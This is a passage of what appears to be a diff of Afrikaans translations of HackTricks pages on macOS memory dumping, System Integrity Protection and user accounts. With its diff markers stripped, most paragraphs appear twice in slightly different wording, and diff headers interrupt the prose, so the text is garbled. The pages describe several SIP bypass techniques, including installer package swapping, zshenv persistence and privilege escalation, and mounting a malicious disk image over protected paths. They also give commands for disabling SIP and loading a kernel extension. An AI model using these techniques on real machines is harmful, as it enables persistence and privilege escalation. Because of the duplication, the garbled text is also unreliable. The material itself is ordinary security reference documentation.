Om die geheue in 'n MacOS masjien te dump, kan jy [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip) gebruik.
Dit is die moeite werd om op te let dat op moderne MacOS-stelsels hierdie lêer tipies vir sekuriteitsredes versleutel is, wat herwinning moeilik maak.
* Om te kontroleer of versleuteling geaktiveer is vir die sleepimage, kan die opdrag `sysctl vm.swapusage` uitgevoer word. Dit sal wys of die lêer versleutel is.
### Geheue Druk Logs
'n Ander belangrike geheueverwante lêer in MacOS-stelsels is die **geheuedruklog**. Hierdie logboeke is geleë in `/var/log` en bevat gedetailleerde inligting oor die stelsel se geheuegebruik en drukgebeure. Dit kan veral nuttig wees vir die diagnose van geheueverwante probleme of om te verstaan hoe die stelsel oor tyd geheue bestuur.
## Dumping van geheue met osxpmem
Om die geheue in 'n MacOS-rekenaar te dump, kan jy [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip) gebruik.
**Nota**: Die volgende instruksies sal slegs werk vir Macs met Intel-argitektuur. Hierdie instrument is nou gearchiveer en die laaste vrystelling was in 2017. Die binêre lêer wat met die instruksies hieronder afgelaai is, teiken Intel-skyfies omdat Apple Silicon nie in 2017 bestaan het nie. Dit mag moontlik wees om die binêre lêer vir arm64-argitektuur te kompileer, maar jy sal dit self moet probeer.
**Nota**: Die volgende instruksies sal slegs werk vir Macs met Intel argitektuur. Hierdie hulpmiddel is nou geargiveer en die laaste vrystelling was in 2017. Die binêre wat afgelaai is met die instruksies hieronder, teiken Intel skyfies aangesien Apple Silicon nie in 2017 beskikbaar was nie. Dit mag moontlik wees om die binêre vir arm64 argitektuur te compileer, maar jy sal self moet probeer.
```bash
#Dump raw format
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
@ -59,16 +46,16 @@ sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
#Dump aff4 format
sudo osxpmem.app/osxpmem -o /tmp/dump_mem.aff4
```
Indien jy hierdie fout vind: `osxpmem.app/MacPmem.kext kon nie laai nie - (libkern/kext) verifikasie mislukking (lêereienaarskap/permisies); kyk na die stelsel/kernel-logboeke vir foute of probeer kextutil(8)` Jy kan dit regmaak deur:
As jy hierdie fout vind: `osxpmem.app/MacPmem.kext kon nie laai nie - (libkern/kext) outentisering mislukking (lêer eienaarskap/permitte); kyk na die stelsel/kernel logs vir foute of probeer kextutil(8)` kan jy dit regmaak deur:
```bash
sudo cp -r osxpmem.app/MacPmem.kext "/tmp/"
sudo kextutil "/tmp/MacPmem.kext"
#Allow the kext in "Security & Privacy --> General"
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
```
**Ander foute** kan reggestel word deur **die laai van die kext toe te staan** in "Sekuriteit & Privaatheid --> Algemeen", net **staan** dit toe.
**Ander foute** kan reggestel word deur **die laai van die kext toe te laat** in "Sekuriteit & Privaatheid --> Algemeen", net **laat** dit toe.
Jy kan ook hierdie **eenlynige kode** gebruik om die aansoek af te laai, die kext te laai en die geheue te dump:
Jy kan ook hierdie **oneliner** gebruik om die toepassing af te laai, die kext te laai en die geheue te dump:
{% code overflow="wrap" %}
```bash
@ -77,29 +64,18 @@ cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-
```
{% endcode %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diewe malware** gekompromitteer is.
Hul primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligting-diewe malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -15,32 +15,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-diefstal malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
## **Basiese Inligting**
**Sisteem Integriteit Beskerming (SIP)** in macOS is 'n mechanisme wat ontwerp is om selfs die mees bevoorregte gebruikers te verhoed om ongeoorloofde veranderinge aan sleutel sisteem vouers te maak. Hierdie funksie speel 'n belangrike rol in die handhawing van die integriteit van die sisteem deur aksies soos die toevoeging, wysiging of verwydering van lêers in beskermde areas te beperk. Die primêre vouers wat deur SIP beskerm word, sluit in:
**Sisteem Integriteit Beskerming (SIP)** in macOS is 'n mechanisme wat ontwerp is om selfs die mees bevoorregte gebruikers te verhoed om ongeoorloofde veranderinge aan sleutel sisteem vouers te maak. Hierdie funksie speel 'n belangrike rol in die handhawing van die integriteit van die stelsel deur aksies soos die toevoeging, wysiging of verwydering van lêers in beskermde areas te beperk. Die primêre vouers wat deur SIP beskerm word, sluit in:
* **/System**
* **/bin**
* **/sbin**
* **/usr**
Die reëls wat SIP se gedrag regeer, is gedefinieer in die konfigurasie-lêer geleë by **`/System/Library/Sandbox/rootless.conf`**. Binne hierdie lêer word paaie wat met 'n asterisk (\*) voorafgegaan word, as uitsonderings op die andersins streng SIP-beperkings aangedui.
Die reëls wat SIP se gedrag regeer, word gedefinieer in die konfigurasie lêer geleë by **`/System/Library/Sandbox/rootless.conf`**. Binne hierdie lêer word paaie wat met 'n asterisk (\*) voorafgegaan word, as uitsonderings op die andersins streng SIP beperkings aangedui.
Neem die voorbeeld hieronder in ag:
Overweeg die onderstaande voorbeeld:
```javascript
/usr
* /usr/libexec/cups
@ -72,13 +59,13 @@ Boonop, as 'n lêer die attribuut **`com.apple.rootless`** uitgebreide **attribu
* Wysig NVRAM veranderlikes
* Laat kernfoutopsporing toe
Opsies word in die nvram veranderlike as 'n bitflag (`csr-active-config` op Intel en `lp-sip0` word van die gebootte Toestelboom vir ARM gelees). Jy kan die vlae in die XNU bronskode in `csr.sh` vind:
Opsies word in die nvram veranderlike as 'n bitvlag (`csr-active-config` op Intel en `lp-sip0` word gelees vanaf die gebootte Toestelboom vir ARM) gehandhaaf. Jy kan die vlae in die XNU bronskode in `csr.sh` vind:
<figure><img src="../../../.gitbook/assets/image (1192).png" alt=""><figcaption></figcaption></figure>
### SIP Status
Jy kan kyk of SIP op jou stelsel geaktiveer is met die volgende opdrag:
Jy kan nagaan of SIP op jou stelsel geaktiveer is met die volgende opdrag:
```bash
csrutil status
```
@ -86,7 +73,7 @@ As jy SIP moet deaktiveer, moet jy jou rekenaar in herstelmodus herbegin (deur C
```bash
csrutil disable
```
As jy SIP ingeskakel wil hou maar die foutopsporing beskermings wil verwyder, kan jy dit doen met:
As jy SIP aangeskakel wil hou maar die foutopsporing beskerming wil verwyder, kan jy dit doen met:
```bash
csrutil enable --without debug
```
@ -104,7 +91,7 @@ Om SIP te omseil stel 'n aanvaller in staat om:
* **Toegang tot Gebruikersdata**: Lees sensitiewe gebruikersdata soos pos, boodskappe en Safari-geskiedenis van alle gebruikersrekeninge.
* **TCC Omseiling**: Direk die TCC (Deursigtigheid, Toestemming, en Beheer) databasis manipuleer om ongemagtigde toegang tot die webkamera, mikrofoon, en ander hulpbronne te verleen.
* **Vestiging van Volharding**: Plaas malware in SIP-beskermde plekke, wat dit bestand maak teen verwydering, selfs deur wortelprivileges. Dit sluit ook die potensiaal in om die Malware Removal Tool (MRT) te manipuleer.
* **Vestiging van Volharding**: Plaas malware in SIP-beskermde plekke, wat dit bestand maak teen verwydering, selfs deur wortelregte. Dit sluit ook die potensiaal in om die Malware Removal Tool (MRT) te manipuleer.
* **Laai Kernuitbreidings**: Alhoewel daar addisionele beskermings is, vereenvoudig die omseiling van SIP die proses om ongetekende kernuitbreidings te laai.
### Installer Pakkette
@ -123,11 +110,11 @@ Die regte **`com.apple.rootless.install.heritable`** laat toe om SIP te omseil
#### [CVE-2019-8561](https://objective-see.org/blog/blog\_0x42.html) <a href="#cve" id="cve"></a>
Daar is ontdek dat dit moontlik was om **die installer pakket te ruil nadat die stelsel sy kode** handtekening geverifieer het en dan, sou die stelsel die kwaadwillige pakket in plaas van die oorspronklike installeer. Aangesien hierdie aksies deur **`system_installd`** uitgevoer is, sou dit SIP omseil.
Daar is ontdek dat dit moontlik was om **die installer pakket te ruil nadat die stelsel sy kode** handtekening geverifieer het en dan sou die stelsel die kwaadwillige pakket in plaas van die oorspronklike installeer. Aangesien hierdie aksies deur **`system_installd`** uitgevoer is, sou dit SIP omseil.
#### [CVE-20209854](https://objective-see.org/blog/blog\_0x4D.html) <a href="#cve-unauthd-chain" id="cve-unauthd-chain"></a>
As 'n pakket van 'n gemonteerde beeld of eksterne skyf geïnstalleer is, sou die **installer** die binêre van **daardie lêerstelsel** uitvoer (in plaas van 'n SIP-beskermde plek), wat **`system_installd`** sou dwing om 'n arbitrêre binêre uit te voer.
As 'n pakket van 'n gemonteerde beeld of eksterne skyf geïnstalleer is, sou die **installer** die binêre van **daardie lêerstelsel** uitvoer (in plaas van 'n SIP-beskermde plek), wat **`system_installd`** dwing om 'n arbitrêre binêre uit te voer.
#### CVE-2021-30892 - Shrootless
@ -135,13 +122,13 @@ As 'n pakket van 'n gemonteerde beeld of eksterne skyf geïnstalleer is, sou die
**`system_installd`** daemon sal pakkette installeer wat deur **Apple** geteken is.
Navorsers het gevind dat tydens die installasie van 'n Apple-getekende pakket (.pkg-lêer), **`system_installd`** **uitvoer** enige **post-install** skripte wat in die pakket ingesluit is. Hierdie skripte word deur die standaard skulp, **`zsh`**, uitgevoer, wat outomaties **opdragte** van die **`/etc/zshenv`** lêer uitvoer, indien dit bestaan, selfs in nie-interaktiewe modus. Hierdie gedrag kan deur aanvallers benut word: deur 'n kwaadwillige `/etc/zshenv` lêer te skep en te wag vir **`system_installd` om `zsh`** aan te roep, kan hulle arbitrêre operasies op die toestel uitvoer.
Navorsers het gevind dat tydens die installasie van 'n Apple-getekende pakket (.pkg-lêer), **`system_installd`** **die** enige **post-install** skripte wat in die pakket ingesluit is, **uitvoer**. Hierdie skripte word deur die standaard skulp, **`zsh`**, uitgevoer, wat outomaties **opdragte** van die **`/etc/zshenv`** lêer uitvoer, indien dit bestaan, selfs in nie-interaktiewe modus. Hierdie gedrag kan deur aanvallers benut word: deur 'n kwaadwillige `/etc/zshenv` lêer te skep en te wag vir **`system_installd` om `zsh`** aan te roep, kan hulle arbitrêre operasies op die toestel uitvoer.
Boonop is daar ontdek dat **`/etc/zshenv` as 'n algemene aanvalstegniek gebruik kan word**, nie net vir 'n SIP-omseiling nie. Elke gebruikersprofiel het 'n `~/.zshenv` lêer, wat dieselfde gedrag as `/etc/zshenv` vertoon, maar nie worteltoestemming vereis nie. Hierdie lêer kan as 'n volhardingsmeganisme gebruik word, wat elke keer wat `zsh` begin, geaktiveer word, of as 'n verhoging van bevoegdheid meganisme. As 'n admin gebruiker tot wortel verhef deur `sudo -s` of `sudo <opdrag>`, sal die `~/.zshenv` lêer geaktiveer word, wat effektief tot wortel verhef.
Boonop is daar ontdek dat **`/etc/zshenv` as 'n algemene aanvalstegniek gebruik kan word**, nie net vir 'n SIP-omseiling nie. Elke gebruikersprofiel het 'n `~/.zshenv` lêer, wat dieselfde gedrag as `/etc/zshenv` vertoon, maar nie wortelregte vereis nie. Hierdie lêer kan as 'n volhardingsmeganisme gebruik word, wat elke keer wat `zsh` begin, geaktiveer word, of as 'n verhoging van regte meganisme. As 'n admin gebruiker tot wortel verhoog met `sudo -s` of `sudo <opdrag>`, sal die `~/.zshenv` lêer geaktiveer word, wat effektief tot wortel verhoog.
#### [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)
In [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) is daar ontdek dat dieselfde **`system_installd`** proses steeds misbruik kon word omdat dit die **post-install skrip in 'n random genaamde gids wat deur SIP beskerm word binne `/tmp`** geplaas het. Die ding is dat **`/tmp` self nie deur SIP beskerm word nie**, so dit was moontlik om 'n **virtuele beeld daarop te monteer**, dan sou die **installer** die **post-install skrip** daar plaas, **ontmonteer** die virtuele beeld, **herstel** al die **gidse** en **voeg** die **post-installasie** skrip met die **payload** om uit te voer by.
In [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) is daar ontdek dat dieselfde **`system_installd`** proses steeds misbruik kon word omdat dit die **post-install skrip in 'n random genaamde gids wat deur SIP beskerm word binne `/tmp`** geplaas het. Die ding is dat **`/tmp` self nie deur SIP beskerm word nie**, so dit was moontlik om 'n **virtuele beeld daarop te monteer**, dan sou die **installer** die **post-install skrip** daar plaas, **ontmonteer** die virtuele beeld, **herstel** al die **gidse** en **voeg** die **post-installasie** skrip met die **payload** om uit te voer.
#### [fsck\_cs nut](https://www.theregister.com/2016/03/30/apple\_os\_x\_rootless/)
@ -167,15 +154,15 @@ hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg
```
#### [Opgradering omseiling (2016)](https://objective-see.org/blog/blog\_0x14.html)
Die stelsel is ingestel om te boot vanaf 'n ingebedde installer skyfbeeld binne die `Install macOS Sierra.app` om die OS op te gradeer, met die gebruik van die `bless` nut. Die opdrag wat gebruik word is soos volg:
Die stelsel is ingestel om te boot vanaf 'n ingebedde installer skyfbeeld binne die `Install macOS Sierra.app` om die OS op te gradeer, met die `bless` nut. Die opdrag wat gebruik word is soos volg:
```bash
/usr/sbin/bless -setBoot -folder /Volumes/Macintosh HD/macOS Install Data -bootefi /Volumes/Macintosh HD/macOS Install Data/boot.efi -options config="\macOS Install Data\com.apple.Boot" -label macOS Installer
```
Die sekuriteit van hierdie proses kan gecompromitteer word as 'n aanvaller die opgradering beeld (`InstallESD.dmg`) voor die opstart verander. Die strategie behels die vervanging van 'n dinamiese laaier (dyld) met 'n kwaadwillige weergawe (`libBaseIA.dylib`). Hierdie vervanging lei tot die uitvoering van die aanvaller se kode wanneer die installeerder geaktiveer word.
Die aanvaller se kode verkry beheer tydens die opgraderingsproses, wat die stelsel se vertroue in die installeerder benut. Die aanval vorder deur die `InstallESD.dmg` beeld te verander via metode swizzling, met spesifieke fokus op die `extractBootBits` metode. Dit stel die invoeging van kwaadwillige kode voor voordat die skyfbeeld gebruik word.
Die aanvaller se kode verkry beheer tydens die opgraderingsproses, wat die stelsel se vertroue in die installeerder benut. Die aanval vorder deur die `InstallESD.dmg` beeld te verander via metode swizzling, met spesifieke fokus op die `extractBootBits` metode. Dit stel die inspuiting van kwaadwillige kode in staat voordat die skyfbeeld gebruik word.
Boonop, binne die `InstallESD.dmg`, is daar 'n `BaseSystem.dmg`, wat dien as die opgradering kode se wortel lêerstelsel. Die invoeging van 'n dinamiese biblioteek hierin stel die kwaadwillige kode in staat om binne 'n proses te werk wat in staat is om OS-vlak lêers te verander, wat die potensiaal vir stelselskompromie aansienlik verhoog.
Boonop, binne die `InstallESD.dmg`, is daar 'n `BaseSystem.dmg`, wat as die wortel lêer stelsel van die opgradering kode dien. Die inspuiting van 'n dinamiese biblioteek hierin stel die kwaadwillige kode in staat om binne 'n proses te werk wat in staat is om OS-vlak lêers te verander, wat die potensiaal vir stelselskompromie aansienlik verhoog.
#### [systemmigrationd (2023)](https://www.youtube.com/watch?v=zxZesAN-TEk)
@ -187,17 +174,17 @@ Soos [**in hierdie blogpos gedetailleerd**](https://blog.kandji.io/apple-mitigat
```bash
/usr/bin/chflags -h norestricted "${SHARED_SUPPORT_PATH}/SharedSupport.dmg"
```
and dit was moontlik om 'n symlink in `${SHARED_SUPPORT_PATH}/SharedSupport.dmg` te skep wat 'n gebruiker sou toelaat om **enige lêer te ontbloot, wat SIP-beskerming omseil**.
and dit was moontlik om 'n symlink in `${SHARED_SUPPORT_PATH}/SharedSupport.dmg` te skep wat 'n gebruiker in staat sou stel om **enige lêer te ontneem, wat SIP-beskerming omseil**.
### **com.apple.rootless.install**
{% hint style="danger" %}
Die regte **`com.apple.rootless.install`** laat toe om SIP te omseil
Die regte **`com.apple.rootless.install`** maak dit moontlik om SIP te omseil
{% endhint %}
Die regte `com.apple.rootless.install` is bekend om die Stelsels Integriteit Beskerming (SIP) op macOS te omseil. Dit is veral genoem in verband met [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/).
In hierdie spesifieke geval het die stelsel XPC-diens geleë by `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` hierdie regte. Dit laat die verwante proses toe om SIP-beperkings te omseil. Verder bied hierdie diens 'n metode aan wat die beweging van lêers toelaat sonder om enige sekuriteitsmaatreëls af te dwing.
In hierdie spesifieke geval het die stelsel XPC-diens geleë by `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` hierdie regte. Dit stel die verwante proses in staat om SIP-beperkings te omseil. Verder bied hierdie diens 'n metode aan wat die beweging van lêers toelaat sonder om enige sekuriteitsmaatreëls af te dwing.
## Geseëlde Stelsel Snapshot
@ -209,7 +196,7 @@ Hier is 'n meer gedetailleerde kyk:
2. **Stelsel Sagteware Opdaterings**: Wanneer jy macOS-opdaterings of opgraderings installeer, skep macOS 'n nuwe stelselsnapshot. Die macOS opstartvolume gebruik dan **APFS (Apple File System)** om na hierdie nuwe snapshot oor te skakel. Die hele proses van die toepas van opdaterings word veiliger en meer betroubaar aangesien die stelsel altyd na die vorige snapshot kan terugkeer as iets verkeerd gaan tydens die opdatering.
3. **Data Skeiding**: In samewerking met die konsep van Data en Stelsel volume skeiding wat in macOS Catalina bekendgestel is, maak die Geseëlde Stelsel Snapshot kenmerk seker dat al jou data en instellings op 'n aparte "**Data**" volume gestoor word. Hierdie skeiding maak jou data onafhanklik van die stelsel, wat die proses van stelsels opdaterings vereenvoudig en stelsels sekuriteit verbeter.
Onthou dat hierdie snapshots outomaties deur macOS bestuur word en nie ekstra spasie op jou skyf opneem nie, danksy die spasie deel vermoëns van APFS. Dit is ook belangrik om op te let dat hierdie snapshots verskillend is van **Time Machine snapshots**, wat gebruiker-toeganklike rugsteun van die hele stelsel is.
Onthou dat hierdie snapshots outomaties deur macOS bestuur word en nie addisionele spasie op jou skyf opneem nie, danksy die spasie deel vermoëns van APFS. Dit is ook belangrik om op te let dat hierdie snapshots verskillend is van **Time Machine snapshots**, wat gebruikers-toeganklike rugsteun van die hele stelsel is.
### Kontroleer Snapshots
@ -252,7 +239,7 @@ Die opdrag **`diskutil apfs list`** lys die **besonderhede van die APFS volumes*
| FileVault: Yes (Unlocked)
</code></pre>
In die vorige uitvoer is dit moontlik om te sien dat **gebruiker-toeganklike plekke** gemonteer is onder `/System/Volumes/Data`.
In die vorige uitvoer is dit moontlik om te sien dat **gebruikers-toeganklike plekke** gemonteer is onder `/System/Volumes/Data`.
Boonop is die **macOS Stelsel volume snapshot** gemonteer in `/` en dit is **geseal** (kriptografies onderteken deur die OS). So, as SIP omseil word en dit gewysig word, sal die **OS nie meer opstart nie**.
@ -266,27 +253,16 @@ Boonop, die snapshot skyf is ook as **lees-slegs** gemonteer:
mount
/dev/disk3s1s1 on / (apfs, sealed, local, read-only, journaled)
```
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) of die [**telegram group**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,42 +1,29 @@
# macOS Gebruikers
# macOS Users
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
### Algemene gebruikers
[**WhiteIntel**](https://whiteintel.io) is 'n **donkerweb**-aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steelmalware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneeminge en lospryse-aanvalle te bekamp wat voortspruit uit inligtingsteelmalware.
Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
### Gewone Gebruikers
* **Daemon**: Gebruiker gereserveer vir stelseldaemons. Die verstek daemon-rekeningname begin gewoonlik met 'n "\_":
* **Daemon**: Gebruiker gereserveer vir stelseldemons. Die standaard demon rekeningname begin gewoonlik met 'n "\_":
```bash
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
```
* **Gaskom**: Rekening vir gaste met baie streng toestemmings
* **Gaste**: Rekening vir gaste met baie streng toestemmings
{% code overflow="wrap" %}
```bash
@ -45,27 +32,27 @@ for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
```
{% endcode %}
* **Niemand**: Prosesse word uitgevoer met hierdie gebruiker wanneer minimale regte benodig word
* **Niemand**: Prosesse word met hierdie gebruiker uitgevoer wanneer minimale toestemmings benodig word
* **Root**
### Gebruiker Regte
### Gebruikersregte
* **Standaard Gebruiker:** Die mees basiese van gebruikers. Hierdie gebruiker benodig regte wat deur 'n admin gebruiker verleen word wanneer daar gepoog word om sagteware te installeer of ander gevorderde take uit te voer. Hulle kan dit nie op hul eie doen nie.
* **Admin Gebruiker**: 'n Gebruiker wat meestal as 'n standaard gebruiker optree, maar ook toegelaat word om root-aksies uit te voer soos die installeer van sagteware en ander administratiewe take. Alle gebruikers wat tot die admin groep behoort, **kry toegang tot root via die sudoers-lêer**.
* **Root**: Root is 'n gebruiker wat byna enige aksie mag uitvoer (daar is beperkings wat deur beskermings soos System Integrity Protection opgelê word).
* Byvoorbeeld sal root nie in staat wees om 'n lêer binne `/System` te plaas
